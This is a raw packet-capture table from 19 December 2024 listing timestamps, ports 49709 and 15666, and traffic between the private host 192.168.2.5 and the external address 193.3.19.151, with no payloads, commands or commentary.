Dec 19, 2024 08:53:06.168529987 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.168597937 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.168647051 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.168756962 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.168807983 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.168832064 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.168864012 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.168879032 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.168884993 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.168900013 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.168905973 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.168947935 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.168979883 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.169096947 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.169133902 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.169151068 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.169199944 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.169209003 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.169260025 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.169317007 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.169326067 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.169370890 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.169375896 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.169425964 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.169451952 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.169495106 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.169502020 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.169540882 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.169615984 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.169657946 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.169692993 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.169754028 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.169785976 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.169817924 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.169832945 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.169878960 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.169914961 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.169965982 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.170022011 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.170562983 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.170619965 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.170867920 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.170923948 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.171062946 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.171116114 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.171180010 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.171224117 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.171318054 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.171366930 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.171401978 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.171446085 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.171478987 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.171555996 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.171593904 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.171649933 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.171696901 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.171744108 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.171760082 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.171806097 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.171819925 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.171864986 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.171968937 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.172049999 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.172135115 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.172197104 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.172238111 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.172300100 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.172323942 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.172372103 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.172451973 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.172502995 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.172529936 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.172574043 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.172602892 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.172652960 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.172699928 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.172746897 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.172785044 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.172827959 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.172887087 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.172935009 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.172983885 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.173037052 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.173077106 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.173124075 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.173204899 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.173250914 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.173346043 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.173388958 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.173392057 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.173439026 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.173527956 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.173573017 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.173604012 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.173650026 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.173681974 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.173723936 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.173804998 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.173844099 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.173861027 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.173893929 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.173969030 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.174012899 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.174052954 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.174101114 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.174155951 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.174200058 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.174227953 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.174277067 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.174321890 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.174367905 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.174386024 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.174443960 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.174474955 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.174520016 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.174552917 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.174597025 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.174626112 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.174675941 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.174735069 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.174779892 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.174855947 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.174905062 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.175004005 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.175049067 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.175090075 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.175137997 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.175170898 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.175221920 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.175250053 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.175295115 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.175503016 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.175558090 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.175595045 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.175647020 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.175689936 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.175745010 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.175851107 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.175919056 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.175926924 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.175968885 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.175997972 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.176040888 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.176183939 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.176232100 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.176235914 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.176282883 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.176335096 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.176439047 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.176462889 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.176503897 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.176510096 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.176559925 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.176680088 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.176733971 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.176742077 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.176839113 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.176857948 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.176894903 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.176944971 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.176983118 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.177006960 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.177023888 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.177118063 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.177300930 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.177354097 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.177388906 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.177407980 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.177494049 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.177506924 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.177525997 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.177567005 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.177691936 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.177742004 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.177843094 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.177894115 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.177937031 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.177985907 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.178019047 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.178073883 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.178191900 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.178244114 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.178347111 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.178402901 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.178466082 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.178476095 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.178528070 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.178529978 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.178596020 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.178603888 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.178634882 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.178656101 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.178694963 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.178740025 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.178809881 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.178889036 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.178914070 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.178965092 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.178966045 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.179018974 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.179019928 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.179064989 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.179166079 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.179227114 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.179737091 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.179795980 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.179831028 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.179910898 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.179986954 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.179999113 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.180046082 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.180084944 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.180156946 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.180223942 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.180253029 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.180301905 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.180330038 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.180382967 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.180421114 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.180474997 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.180493116 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.180536985 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.180650949 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.180711031 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.180741072 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.180795908 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.180816889 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.180862904 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.180897951 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.180943966 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.180969954 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.181015015 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.181088924 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.181134939 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.181154966 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.181206942 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.181782007 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.181802988 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.181957006 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.182014942 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.182089090 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.182132006 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.182208061 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.182264090 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.182338953 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.182368040 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.182418108 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.182451010 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.182576895 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.182651997 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.182670116 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.182718992 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.182760954 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.182816982 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.182847023 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.182894945 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.182998896 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.183051109 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.183084011 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.183161974 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.183182001 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.183222055 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.183265924 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.183327913 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.265379906 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.268553019 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.273571968 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.273617029 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.273884058 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.273941994 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.273956060 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.274002075 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.274200916 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.274322033 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.274389029 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.274451017 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.274619102 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.274635077 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.274677992 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.274703026 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.274799109 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.274924994 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.274980068 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.275032043 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.275522947 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.275576115 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.275636911 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.275800943 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.275818110 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.275840998 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.275851011 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.275876045 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.275906086 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.275922060 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.276345968 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.276396036 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.276396990 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.276444912 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.276633978 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.276798964 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.276865959 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.276982069 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.277024031 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.277208090 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.277292967 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.277323008 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.277378082 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.277740002 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.277757883 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.277792931 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.277815104 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.278014898 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.278064966 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.278096914 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.278140068 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.278438091 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.278527975 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.278569937 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.278614044 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.278709888 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.278759956 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.278830051 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.278928041 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.279010057 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.279021025 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.279061079 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.279069901 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.279073000 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.279175997 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.279412985 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.279460907 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.279470921 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.279520035 CET	49709	15666	192.168.2.5	193.3.19.151
